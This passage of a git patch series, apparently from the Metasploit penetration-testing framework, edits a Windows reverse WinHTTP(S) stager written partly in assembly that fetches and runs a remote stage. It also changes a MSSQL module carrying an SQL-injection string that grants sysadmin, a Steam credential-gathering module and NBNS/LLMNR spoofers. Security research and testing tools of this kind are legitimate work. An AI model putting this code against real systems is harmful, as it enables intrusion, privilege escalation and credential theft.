#{datastore['HandlerSSLCert']}" + end + verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der) + print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}") + end + end + # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space + + if datastore['StagerVerifySSLCert'] + raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available" + end + return generate_reverse_winhttps( ssl: true, host: datastore['LHOST'], port: datastore['LPORT'], - url: generate_small_uri) + url: generate_small_uri, + verify_cert: verify_cert, + verify_cert_hash: verify_cert_hash) end conf = { @@ -51,12 +87,31 @@ module Payload::Windows::ReverseWinHttps host: datastore['LHOST'], port: datastore['LPORT'], url: generate_uri, - exitfunk: datastore['EXITFUNC'] + exitfunk: datastore['EXITFUNC'], + verify_cert: verify_cert, + verify_cert_hash: verify_cert_hash } generate_reverse_winhttps(conf) end + # + # Determine the maximum amount of space required for the features requested + # + def required_space + space = super + + # SSL support adds 20 bytes + space += 20 + + # SSL verification adds 120 bytes + if datastore['StagerVerifySSLCert'] + space += 120 + end + + space + end + end end From 0d12ca49a7c684ed3acfc9a44c828d409e99bb9e Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sat, 14 Mar 2015 16:19:13 -0500 Subject: [PATCH 23/32] Work around lack of option normalization during size calculation --- lib/msf/core/payload/windows/reverse_winhttps.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_winhttps.rb b/lib/msf/core/payload/windows/reverse_winhttps.rb index 04f1bdc323..bfcaaa3ff9 100644 --- a/lib/msf/core/payload/windows/reverse_winhttps.rb +++ b/lib/msf/core/payload/windows/reverse_winhttps.rb @@ -25,7 +25,7 @@ module Payload::Windows::ReverseWinHttps super register_advanced_options( [ - OptBool.new('StagerVerifySSLCert', [true, 'Whether to verify the SSL certificate hash in the handler', false]) + OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false]) ], self.class) end @@ -52,7 +52,7 @@ module Payload::Windows::ReverseWinHttps verify_cert = false verify_cert_hash = nil - if datastore['StagerVerifySSLCert'] + if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i unless datastore['HandlerSSLCert'] raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured" else @@ -69,7 +69,7 @@ module Payload::Windows::ReverseWinHttps # Generate the simple version of this stager if we don't have enough space if self.available_space.nil? || required_space > self.available_space - if datastore['StagerVerifySSLCert'] + if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available" end From 8e37342c502e1b1ab06c4ffb90fa161886cfc3b9 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sat, 14 Mar 2015 16:52:04 -0500 Subject: [PATCH 24/32] Comment typo --- lib/msf/core/payload/windows/reverse_winhttp.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index c8851e609b..d20c63e7a5 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -307,7 +307,7 @@ module Payload::Windows::ReverseWinHttp db #{encoded_cert_hash} ssl_cert_compare_hashes: - pop ebx ; ebx points to our internal 20-byte certificate hash (overwites *pCert) + pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert) ; edi points to the server-provided certificate hash push.i8 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times @@ -390,6 +390,8 @@ module Payload::Windows::ReverseWinHttp asm end + + end end From 5bebabb0053cc83b41255f5a73d99f13f71c74ee Mon Sep 17 00:00:00 2001 From: nullbind Date: Sun, 15 Mar 2015 19:45:02 -0500 Subject: [PATCH 25/32] fixed hardcoded username --- modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb index b2050a44bb..e0803e273c 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb @@ -193,7 +193,7 @@ class Metasploit3 < Msf::Auxiliary def escalate_privs(imp_user,db_user) # Setup Query - Impersonate the first sysadmin user on the list - evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember 'MyUser1','sysadmin';Revert;--" + evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember '#{db_user}','sysadmin';Revert;--" # Execute Query mssql_query(evil_sql) From 00dbcc12ca3b30eda06f74a896e05b6c7e0f9c7d Mon Sep 17 00:00:00 2001 From: Scott Sutherland Date: Sun, 15 Mar 2015 22:02:12 -0700 Subject: [PATCH 26/32] Removed imp_user var from escalate_privs func --- modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb index e0803e273c..346efa1109 100644 --- a/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb +++ b/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb @@ -190,7 +190,7 @@ class Metasploit3 < Msf::Auxiliary end # Attempt to escalate privileges - def escalate_privs(imp_user,db_user) + def escalate_privs(db_user) # Setup Query - Impersonate the first sysadmin user on the list evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember '#{db_user}','sysadmin';Revert;--" From 69d92807482c8e40c6b142a5d43d4b55e35ff81c Mon Sep 17 00:00:00 2001 From: HD Moore Date: Mon, 16 Mar 2015 13:52:13 -0500 Subject: [PATCH 27/32] Fix yard docs, retries, push.i8 instructions. See commit 05138524e387e9ad7bb33f97db589e9dc70f45f1 Note that StagerRetryCount is not defined here, but will be in the parent class once #4934 lands --- .../core/payload/windows/reverse_winhttp.rb | 102 +++++++++--------- .../core/payload/windows/reverse_winhttps.rb | 6 +- 2 files changed, 54 insertions(+), 54 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index d20c63e7a5..0fc78adfe2 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -36,7 +36,8 @@ module Payload::Windows::ReverseWinHttp ssl: false, host: datastore['LHOST'], port: datastore['LPORT'], - url: generate_small_uri) + url: generate_small_uri, + retry_count: datastore['StagerRetryCount']) end conf = { @@ -44,7 +45,8 @@ module Payload::Windows::ReverseWinHttp host: datastore['LHOST'], port: datastore['LPORT'], url: generate_uri, - exitfunk: datastore['EXITFUNC'] + exitfunk: datastore['EXITFUNC'], + retry_count: datastore['StagerRetryCount'] } generate_reverse_winhttp(conf) @@ -98,28 +100,26 @@ module Payload::Windows::ReverseWinHttp join(",") end + # - # Dynamic payload generation + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Bool] :ssl Whether or not to enable SSL + # @option opts [String] :url The URI to request during staging + # @option opts [String] :host The host to connect to + # @option opts [Fixnum] :port The port to connect to + # @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation + # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up # def asm_reverse_winhttp(opts={}) - - verify_ssl = nil + retry_count = [opts[:retry_count].to_i, 1].max + verify_ssl = nil encoded_cert_hash = nil - - # - # options can contain contain: - # ssl: (true|false) - # url: "/url_to_request" - # host: [hostname] - # port: [port] - # exitfunk: [process|thread|seh|sleep] - # verify_ssl: (true|false) - # verify_cert_hash: (40-byte SHA1 hash) - # - - encoded_url = asm_generate_wchar_array(opts[:url]) - encoded_host = asm_generate_wchar_array(opts[:host]) + encoded_url = asm_generate_wchar_array(opts[:url]) + encoded_host = asm_generate_wchar_array(opts[:host]) if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash] verify_ssl = true @@ -162,45 +162,38 @@ module Payload::Windows::ReverseWinHttp end asm << %Q^ - set_retry: - push.i8 6 ; retry 6 times - pop edi - xor ebx, ebx - mov ecx, edi - push_zeros: - push ebx ; NULL values for the WinHttpOpen API parameters - loop push_zeros + xor ebx, ebx WinHttpOpen: - ; Flags [5] - ; ProxyBypass (NULL) [4] - ; ProxyName (NULL) [3] - ; AccessType (DEFAULT_PROXY= 0) [2] - ; UserAgent (NULL) [1] + push ebx ; Flags + push ebx ; ProxyBypass (NULL) + push ebx ; ProxyName (NULL) + push ebx ; AccessType (DEFAULT_PROXY= 0) + push ebx ; UserAgent (NULL) [1] push 0xBB9D1F04 ; hash( "winhttp.dll", "WinHttpOpen" ) call ebp WinHttpConnect: - push ebx ; Reserved (NULL) [4] + push ebx ; Reserved (NULL) push #{opts[:port]} ; Port [3] call got_server_uri ; Double call to get pointer for both server_uri and - server_uri: ; server_host; server_uri is saved in EDI for later + server_uri: ; server_host; server_uri is saved in edi for later db #{encoded_url} got_server_host: - push eax ; Session handle returned by WinHttpOpen [1] + push eax ; Session handle returned by WinHttpOpen push 0xC21E9B46 ; hash( "winhttp.dll", "WinHttpConnect" ) call ebp WinHttpOpenRequest: push.i32 #{"0x%.8x" % http_open_flags} - push ebx ; AcceptTypes (NULL) [6] - push ebx ; Referrer (NULL) [5] - push ebx ; Version (NULL) [4] - push edi ; ObjectName (URI) [3] - push ebx ; Verb (GET method) (NULL) [2] - push eax ; Connect handler returned by WinHttpConnect [1] + push ebx ; AcceptTypes (NULL) + push ebx ; Referrer (NULL) + push ebx ; Version (NULL) + push edi ; ObjectName (URI) + push ebx ; Verb (GET method) (NULL) + push eax ; Connect handle returned by WinHttpConnect push 0x5BB31098 ; hash( "winhttp.dll", "WinHttpOpenRequest" ) call ebp xchg esi, eax ; save HttpRequest handler in esi @@ -216,9 +209,9 @@ module Payload::Windows::ReverseWinHttp ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA mov eax, esp - push.i8 4 ; sizeof(buffer) + push 4 ; sizeof(buffer) push eax ; &buffer - push.i8 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS) + push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS) push esi ; hHttpRequest push 0xCE9D58D3 ; hash( "winhttp.dll", "WinHttpSetOption" ) call ebp @@ -226,6 +219,11 @@ module Payload::Windows::ReverseWinHttp end asm << %Q^ + ; Store our retry counter in the edi register + set_retry: + push #{retry_count} + pop edi + send_request: WinHttpSendRequest: @@ -271,14 +269,14 @@ module Payload::Windows::ReverseWinHttp asm << %Q^ ssl_cert_get_context: - push.i8 4 + push 4 mov ecx, esp ; Allocate &bufferLength - push.i8 0 + push 0 mov ebx, esp ; Allocate &buffer (ebx will point to *pCert) push ecx ; &bufferLength push ebx ; &buffer - push.i8 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT) + push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT) push esi ; hHttpRequest push 0x272F0478 ; hash( "winhttp.dll", "WinHttpQueryOption" ) call ebp @@ -287,7 +285,7 @@ module Payload::Windows::ReverseWinHttp ; ebx ssl_cert_allocate_hash_space: - push.i8 20 ; + push 20 ; mov ecx, esp ; Store a reference to the address of 20 sub esp,[ecx] ; Allocate 20 bytes for the hash output mov edi, esp ; edi will point to our buffer @@ -295,7 +293,7 @@ module Payload::Windows::ReverseWinHttp ssl_cert_get_server_hash: push ecx ; &bufferLength push edi ; &buffer (20-byte SHA1 hash) - push.i8 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID) + push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID) push [ebx] ; *pCert push 0xC3A96E2D ; hash( "crypt32.dll", "CertGetCertificateContextProperty" ) call ebp @@ -310,7 +308,7 @@ module Payload::Windows::ReverseWinHttp pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert) ; edi points to the server-provided certificate hash - push.i8 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times + push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times pop ecx ; mov edx, ecx ; Keep a reference to 4 in edx @@ -332,8 +330,8 @@ module Payload::Windows::ReverseWinHttp receive_response: ; The API WinHttpReceiveResponse needs to be called ; first to get a valid handle for WinHttpReadData - push ebx ; Reserved (NULL) [2] - push esi ; Request handler returned by WinHttpSendRequest [1] + push ebx ; Reserved (NULL) + push esi ; Request handler returned by WinHttpSendRequest push 0x709D8805 ; hash( "winhttp.dll", "WinHttpReceiveResponse" ) call ebp test eax,eax @@ -342,7 +340,7 @@ module Payload::Windows::ReverseWinHttp asm << %Q^ allocate_memory: - push.i8 0x40 ; PAGE_EXECUTE_READWRITE + push 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push 0x00400000 ; Stage allocation (4Mb ought to do us) push ebx ; NULL as we dont care where the allocation is diff --git a/lib/msf/core/payload/windows/reverse_winhttps.rb b/lib/msf/core/payload/windows/reverse_winhttps.rb index bfcaaa3ff9..993347db35 100644 --- a/lib/msf/core/payload/windows/reverse_winhttps.rb +++ b/lib/msf/core/payload/windows/reverse_winhttps.rb @@ -79,7 +79,8 @@ module Payload::Windows::ReverseWinHttps port: datastore['LPORT'], url: generate_small_uri, verify_cert: verify_cert, - verify_cert_hash: verify_cert_hash) + verify_cert_hash: verify_cert_hash, + retry_count: datastore['StagerRetryCount']) end conf = { @@ -89,7 +90,8 @@ module Payload::Windows::ReverseWinHttps url: generate_uri, exitfunk: datastore['EXITFUNC'], verify_cert: verify_cert, - verify_cert_hash: verify_cert_hash + verify_cert_hash: verify_cert_hash, + retry_count: datastore['StagerRetryCount'] } generate_reverse_winhttps(conf) From 5fd3637d34c9b6365593d34451dce5cacf4078f6 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Mon, 16 Mar 2015 14:00:51 -0500 Subject: [PATCH 28/32] Remove the i32 size specifier (not needed) --- lib/msf/core/payload/windows/reverse_winhttp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 0fc78adfe2..8a5be39790 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -187,7 +187,7 @@ module Payload::Windows::ReverseWinHttp WinHttpOpenRequest: - push.i32 #{"0x%.8x" % http_open_flags} + push #{"0x%.8x" % http_open_flags} push ebx ; AcceptTypes (NULL) push ebx ; Referrer (NULL) push ebx ; Version (NULL) From 2ea984423b8fce258a169f0f27425308edf52f95 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Mon, 16 Mar 2015 14:08:01 -0500 Subject: [PATCH 29/32] while(true)->loop, use thread.join --- lib/msf/core/exploit/capture.rb | 4 ++-- modules/auxiliary/spoof/llmnr/llmnr_response.rb | 4 +--- modules/auxiliary/spoof/nbns/nbns_response.rb | 4 +--- 3 files changed, 4 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index 44501ff227..f080fc2ba2 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -313,7 +313,7 @@ module Msf begin to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0 ::Timeout.timeout(to) do - while true + loop do my_packet = inject_reply(:udp, self.arp_capture) next unless my_packet next unless my_packet.payload == secret @@ -349,7 +349,7 @@ module Msf begin to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0 ::Timeout.timeout(to) do - while true + loop do my_packet = inject_reply(:arp, self.arp_capture) next unless my_packet next unless my_packet.arp_saddr_ip == target_ip diff --git a/modules/auxiliary/spoof/llmnr/llmnr_response.rb b/modules/auxiliary/spoof/llmnr/llmnr_response.rb index 9261a606bd..c1cef329e9 100644 --- a/modules/auxiliary/spoof/llmnr/llmnr_response.rb +++ b/modules/auxiliary/spoof/llmnr/llmnr_response.rb @@ -206,9 +206,7 @@ attr_accessor :sock, :thread add_socket(self.sock) - while thread.alive? - select(nil, nil, nil, 0.25) - end + self.thread.join end def cleanup diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb index a50cb1bd7a..7d9216a443 100644 --- a/modules/auxiliary/spoof/nbns/nbns_response.rb +++ b/modules/auxiliary/spoof/nbns/nbns_response.rb @@ -173,9 +173,7 @@ class Metasploit3 < Msf::Auxiliary print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX']}\" ...") - while thread.alive? - IO.select(nil, nil, nil, 0.25) - end + self.thread.join print_status("NBNS Monitor thread exited...") end From 2a525958bdb607f8e52320bd9892ed81f8829f13 Mon Sep 17 00:00:00 2001 From: Felix Wehnert Date: Mon, 16 Mar 2015 20:15:26 +0100 Subject: [PATCH 30/32] fixed typo Does no one tested this script on x64 yet ? --- modules/post/windows/gather/credentials/steam.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/steam.rb b/modules/post/windows/gather/credentials/steam.rb index b330663fd4..f17abf7c5c 100644 --- a/modules/post/windows/gather/credentials/steam.rb +++ b/modules/post/windows/gather/credentials/steam.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Post # the correct program files folder. # We will just use an x64 only defined env variable to check. progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles') - progfilesx86 = prog_files_env['ProgramFiles(X86)'] + progfilesx86 = progfiles_env['ProgramFiles(X86)'] if not progfilesx86.empty? and progfilesx86 !~ /%ProgramFiles\(X86\)%/ progs = progfilesx86 # x64 else From db56fcb1b8fcba64ac9aa8a03c81dd6c50c6c87f Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 16 Mar 2015 18:10:10 -0500 Subject: [PATCH 31/32] update tools/missing-payload-tests to give correct advice The template spec for new payloads needed updating to match the new cached payload size spec. --- tools/missing-payload-tests.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/tools/missing-payload-tests.rb b/tools/missing-payload-tests.rb index 5d46ad398b..df1986859e 100755 --- a/tools/missing-payload-tests.rb +++ b/tools/missing-payload-tests.rb @@ -61,7 +61,7 @@ File.open('log/untested-payloads.log') { |f| $stderr.puts $stderr.puts " context '#{reference_name}' do\n" \ - " it_should_behave_like 'payload can be instantiated',\n" \ + " it_should_behave_like 'payload cached size is consistent',\n" \ " ancestor_reference_names: [" ancestor_reference_names = options[:ancestor_reference_names] @@ -74,6 +74,7 @@ File.open('log/untested-payloads.log') { |f| end $stderr.puts " ],\n" \ + " dynamic_size: false,\n" \ " modules_pathname: modules_pathname,\n" \ " reference_name: '#{reference_name}'\n" \ " end" From d7fa0ec6693b9782c0c1f83262c2cb5c7130ffc8 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 17 Mar 2015 17:36:45 -0500 Subject: [PATCH 32/32] Let IPAddr#hton do the calculating --- lib/msf/core/exploit/capture.rb | 2 +- modules/auxiliary/spoof/nbns/nbns_response.rb | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index f080fc2ba2..0d494ec42a 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -251,7 +251,7 @@ module Msf def inject_reply(proto=:udp, pcap=self.capture) # Defaults to ~2 seconds to = (datastore['TIMEOUT'] * 4) / 1000.0 - raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap + raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap begin ::Timeout.timeout(to) do pcap.each do |r| diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb index 7d9216a443..84a2f1afe6 100644 --- a/modules/auxiliary/spoof/nbns/nbns_response.rb +++ b/modules/auxiliary/spoof/nbns/nbns_response.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary def dispatch_request(packet, rhost, src_port) rhost = ::IPAddr.new(rhost) - # `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped + # `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped # addr like "::ffff:192.168.0.1" when the interface we're listening # on has an IPv6 address. Convert it to just the v4 addr if rhost.ipv4_mapped? @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary return unless nbnsq_decodedname =~ /#{datastore['REGEX']}/i - vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}") + vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}") if datastore['DEBUG'] print_status("transid: #{nbnsq_transid.unpack('H4')}") @@ -118,7 +118,7 @@ class Metasploit3 < Msf::Auxiliary "\x00\x04\x93\xe0" + # TTL = a long ass time "\x00\x06" + # Datalength = 6 "\x00\x00" + # Flags B-node, unique = whatever that means - datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*') + spoof.hton pkt = PacketFu::UDPPacket.new pkt.ip_saddr = Rex::Socket.source_address(rhost)